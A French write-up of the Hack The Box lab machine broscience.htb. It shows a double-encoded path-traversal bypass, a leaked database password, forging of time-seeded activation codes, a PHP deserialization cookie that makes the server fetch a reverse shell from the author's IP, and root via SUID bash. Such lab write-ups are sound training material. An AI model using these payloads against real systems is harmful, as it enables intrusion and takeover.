Table of contents



broscience.htb

Note

Super room, j’ai beaucoup aimĂ©, un foothold que j’ai trouvĂ© assez dur avec beaucoup d’analyse de code. En revanche la privesc est beaucoup trop facile, mais globalement c’Ă©tait cool 👍

Fuzzing

nmap -sC -sV broscience.htb

Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-01 19:19 CET
Nmap scan report for broscience.htb (10.10.11.195)
Host is up (0.24s latency).
rDNS record for 10.10.11.195: BroScience.htb
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 207.62 seconds
dirb http://broscience.htb -f
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Feb  1 19:20:27 2023
URL_BASE: http://broscience.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Fine tunning of NOT_FOUND detection

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://broscience.htb/ ----
                                                                                            
-----------------
END_TIME: Wed Feb  1 19:34:27 2023
DOWNLOADED: 4612 - FOUND: 0

Rien d’intĂ©ressant ici, on va donc se concentrer sur le site et ses fonctionnalitĂ©s

Le site a l’air d’ĂȘtre un blog sur la musculation, en allant sur un post et en regardant le code source on voit quelque chose de trĂšs Ă©trange sur l’image:

background-image: url(includes/img.php?path=bench.png);

On voit ici que l’image est importĂ©e depuis le fichier img.php, et on voit aussi un paramĂštre path.

Si on se rend sur l’url https://broscience.htb/includes/img.php?path=bench.png, on voit bel et bien l’image. Essayons une LFI via le paramĂštre path:

Foothold

?path=../../../../etc/passwd ne fonctionne pas, le site dĂ©tecte l’attaque et nous met un message d’erreur

2023-02-01-193302_769x109_scrot

Ce message me fait grandement penser Ă  un challenge que j’ai pu faire au paravant, je ne sait pas si il s’agit d’un WAF ou d’un filtre connu mais en tout cas je sais comment le contourner

?path=..%252F..%252F..%252F..%252Fetc%252Fpasswd nous affiche une nouvelle page

2023-02-01-193521_1387x113_scrot

MĂȘme si elle ne nous a pas donnĂ© le contenu du fichier que nous voulions lire, elle prouve que la LFI a fonctionnĂ©. Un double encoding nous a donc permis de contourner le filtre.

De plus, ce message d’erreur est affichĂ© seulement car mon navigateur croit qu’il est entrain de lire une image, pour avoir le vrai contenu du fichier, il faut l’enregistrer puis le lire via un cat par exemple.

cat img.png

root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt❌100:65534::/nonexistent:/usr/sbin/nologin
systemd-network❌101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve❌102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss❌103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus❌104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync❌105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux❌106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit❌107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd❌108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq❌109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi❌110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher❌111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse❌112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned❌113:121::/var/lib/saned:/usr/sbin/nologin
colord❌114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue❌115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm❌116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill❌1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump❌999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres❌117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel❌998:998::/var/log/laurel:/bin/false

On a bel et bien le contenu du /etc/passwd.

Récupérons maintenant le contenu de index.php:

?path=..%252Findex.php
<?php
session_start();
?>

<html>
    <head>
        <title>BroScience : Home</title>
        <?php 
        include_once 'includes/header.php';
        include_once 'includes/utils.php';
        $theme = get_theme();
        ?>
        <link rel="stylesheet" href="styles/<?=$theme?>.css">
    </head>
    <body class="<?=get_theme_class($theme)?>">
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-margin">
            <!-- TODO: Search bar -->
            <?php
            include_once 'includes/db_connect.php';
                    
            // Load exercises
            $res = pg_query($db_conn, 'SELECT exercises.id, username, title, image, SUBSTRING(content, 1, 100), exercises.date_created, users.id FROM exercises JOIN users ON author_id = users.id');
            if (pg_num_rows($res) > 0) {
                echo '<div class="uk-child-width-1-2@s uk-child-width-1-3@m" uk-grid>';
                while ($row = pg_fetch_row($res)) {
                    ?>
                    <div>
                        <div class="uk-card uk-card-default <?=(strcmp($theme,"light"))?"uk-card-secondary":""?>">
                            <div class="uk-card-media-top">
                                <img src="includes/img.php?path=<?=$row[3]?>" width="600" height="600" alt="">
                            </div>
                            <div class="uk-card-body">
                                <a href="exercise.php?id=<?=$row[0]?>" class="uk-card-title"><?=$row[2]?></a>
                                <p><?=$row[4]?>... <a href="exercise.php?id=<?=$row[0]?>">keep reading</a></p>
                            </div>
                            <div class="uk-card-footer">
                                <p class="uk-text-meta">Written by <a class="uk-link-text" href="user.php?id=<?=$row[6]?>"><?=htmlspecialchars($row[1],ENT_QUOTES,'UTF-8')?></a> <?=rel_time($row[5])?></p>
                            </div>
                        </div>
                    </div>
                    
                    <?php
                }
                echo '</div>';
            } 
            ?>
        </div>
    </body>
</html>

L’index include un db_connect.php, rĂ©cupĂ©rons aussi son contenu.

?path=..%252Fincludes%252Fdb_connect.php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

J’ai essayĂ© pas mal de choses aprĂšs ça mais je n’ai rien trouvĂ© d’utile Ă  faire avec ces identifiants

Puisque nous sommes “bloquĂ©s”, nous allons tester la derniĂšre fonctionnalitĂ© du site: le login/register

Créeons-nous un compte:

2023-02-01-195130_810x440_scrot

Il a bel et bien été crée, maintenant connectons nous:

2023-02-01-195149_782x309_scrot

Il nous dit que le compte n’est pas activĂ©, et bien Ă©videmment, je n’ai reçu aucun email.

Il va donc falloir trouver un moyen d’activer notre compte, commeçons par retourner sur le code de index.php.

On voit qu’il include aussi un fichier appelĂ© utils.php, rĂ©cupĂ©rons son contenu

<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
    $to = (($to === null) ? (time()) : ($to));
    $to = ((is_int($to)) ? ($to) : (strtotime($to)));
    $from = ((is_int($from)) ? ($from) : (strtotime($from)));

    $units = array
    (
        "year"   => 29030400, // seconds in a year   (12 months)
        "month"  => 2419200,  // seconds in a month  (4 weeks)
        "week"   => 604800,   // seconds in a week   (7 days)
        "day"    => 86400,    // seconds in a day    (24 hours)
        "hour"   => 3600,     // seconds in an hour  (60 minutes)
        "minute" => 60,       // seconds in a minute (60 seconds)
        "second" => 1         // 1 second
    );

    $diff = abs($from - $to);

    if ($diff < 1) {
        return "Just now";
    }

    $suffix = (($from > $to) ? ("from now") : ("ago"));

    $unitCount = 0;
    $output = "";

    foreach($units as $unit => $mult)
        if($diff >= $mult && $unitCount < 1) {
            $unitCount += 1;
            // $and = (($mult != 1) ? ("") : ("and "));
            $and = "";
            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
            $diff -= intval($diff / $mult) * $mult;
        }

    $output .= " ".$suffix;
    $output = substr($output, strlen(", "));

    return $output;
}

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
		$this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>

On voit une fonction generate_activation_code() qui semble gĂ©nĂ©rer un code d’activation qui nous est nĂ©cessaire pour activer notre compte

Nous savons comment crĂ©er un code d’activation mais nous ne savons pas oĂč l’utiliser, cette informations se trouve probablement dans le register.php

<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
    // Check if variables are empty
    if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
        // Check if passwords match
        if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
            // Check if email is too long
            if (strlen($_POST['email']) <= 100) {
                // Check if email is valid
                if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
                    // Check if username is valid
                    if (strlen($_POST['username']) <= 100) {
                        // Check if user exists already    
                        include_once 'includes/db_connect.php';

                        $res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
                        $res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
                        
                        if (pg_num_rows($res) == 0) {
                            // Check if email is registered already
                            $res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
                            $res = pg_execute($db_conn, "check_email_query", array($_POST['email']));

                            if (pg_num_rows($res) == 0) {
                                // Create the account
                                include_once 'includes/utils.php';
                                $activation_code = generate_activation_code();
                                $res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
                                $res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));

                                if (pg_num_rows($res) == 0) {
                                    $res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
                                    $res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));

                                    // TODO: Send the activation link to email
                                    $activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

                                    $alert = "Account created. Please check your email for the activation link.";
                                    $alert_type = "success";
                                } else {
                                    $alert = "Failed to generate a valid activation code, please try again.";
                                }
                            } else {
                                $alert = "An account with this email already exists.";
                            }
                        }
                        else {
                            $alert = "Username is already taken.";
                        }
                    } else {
                        $alert = "Maximum username length is 100 characters.";
                    }
                } else {
                    $alert = "Please enter a valid email address.";
                }
            } else {
                $alert = "Maximum email length is 100 characters.";
            }
        } else {
            $alert = "Passwords do not match.";
        }
    } else {
        $alert = "Please fill all fields in.";
    }
}
?>

Des if, dans des if, dans des if

Dans toute cette pagaille, on trouve notre réponse

https://broscience.htb/activate.php?code={$activation_code}

Maintenant, nous n’avons plus qu’Ă  crĂ©er un compte, intercĂ©pter la requĂȘte et voir la rĂ©ponse pour avoir la date exacte de crĂ©ation du compte, puis crĂ©er un code d’activation qui correspond et l’utiliser.

2023-02-01-201911_1592x482_scrot

On garde la date de cÎté: Wed, 01 Feb 2023 19:19:02 GMT

La timestamp correspondant Ă  cette date est 1675279142 (via https://www.epochconverter.com/)

On crée un fichier .php localement dans lequel on modifie la fonction:

<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(1675279142);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

echo generate_activation_code();
?>
php code.php
bHhA2C1tpYP8066v3bwaHbXda2LP6rGn

Maintenant, plus qu’Ă  visiter la page /activate.php?code=bHhA2C1tpYP8066v3bwaHbXda2LP6rGn pour activer le compte

J’ai pas la moindre idĂ©e de pourquoi ça a marchĂ© mais mon compte a Ă©tĂ© activĂ© sans que je n’aie rien Ă  faire donc bon… mais le code aurait marchĂ© normalement et sinon il aurait fallu augmenter la timestamp de quelques secondes puisqu’il peut y avoir eu une latence au niveau du backend.

En re-regardant le code du utils.php, on remarque cette ligne:

$up = unserialize(base64_decode($up_cookie));

Un cookie est dĂ©codĂ© depuis du b64 puis unserialize, on va donc pouvoir effectuer une “unserialize attack” qui va modifier la class AvatarInterface et nous permettre d’upload un shell

On va faire un script qui va créer un faux cookie avec notre class, pour ça, il nous faut aussi le code de la class Avatar (présent dans le utils.php)

<?php
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp = "http://10.10.14.109/revshell.php";
    public $imgPath = "./revshell.php";

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

echo base64_encode(serialize(new AvatarInterface));
?>

On y met notre IP puisqu’on va lancer un serveur pour qu’il puisse rĂ©cupĂ©rer notre revshell.php, puis il va ensuite Ă©crire son contenu dans revshell.php grĂące Ă  la fonction save().

On lance le script, qui nous donne notre cookie en base64

TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMjoiaHR0cDovLzEwLjEwLjE0LjEwOS9yZXZzaGVsbC5waHAiO3M6NzoiaW1nUGF0aCI7czoxNDoiLi9yZXZzaGVsbC5waHAiO30=

Avant de le mettre, il faut lancer un serveur python avec notre revshell.php dans le mĂȘme rĂ©pertoire

sudo python3 -m http.server 80

Dans une autre fenĂȘtre, on lance notre netcat

nc -lvnp 9001

Puis on met notre cookie, et on refresh la page

Elle va ĂȘtre horrible et toute blanche puisque c’est le cookie qui est sensĂ© permettre de gĂ©rer le theme, mais ce n’est pas grave

On visite https://broscience.htb/revshell.php pour que notre script soit executé, et on reçoit la connection sur le netcat

2023-02-01-204310_1917x655_scrot

On peut aussi confirmer qu’il a bien lu le contenu de notre reverse shell car on voit les connections sur le serveur python

Privilege Escalation

$ export TERM=xterm
$ python3 -c 'import pty;pty.spawn("/bin/bash")'

On commence par lister les fichiers ayant le setuid bit et appartenant à root (ces fichiers sont éxecutés avec les permissions sudo)

find / -user root -perm -4000 2>/dev/null
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/bin/vmware-user-suid-wrapper
/usr/bin/newgrp
/usr/bin/fusermount3
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/mount
/usr/bin/ntfs-3g
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/bash
/usr/bin/chsh
/usr/libexec/polkit-agent-helper-1

/usr/bin/bash ?????

Bon, bah ça va ĂȘtre rapide hein…

man bash

-p      Turn  on  privileged  mode.   In this mode, the $ENV and $BASH_ENV files are not processed, shell functions are not inherited from the environment, and the SHEL‐
                      LOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored.  If the shell is started with the effective  user  (group)  id
                      not  equal  to the real user (group) id, and the -p option is not supplied, these actions are taken and the effective user id is set to the real user id.  If the
                      -p option is supplied at startup, the effective user id is not reset.  Turning this option off causes the effective user and group ids to be set to the real user
                      and group ids.

On peut donc donc Ă©xecuter la commande bash -p pour qu’il garde les privilĂšges, cĂ d sudo

2023-02-01-204653_896x446_scrot

gg!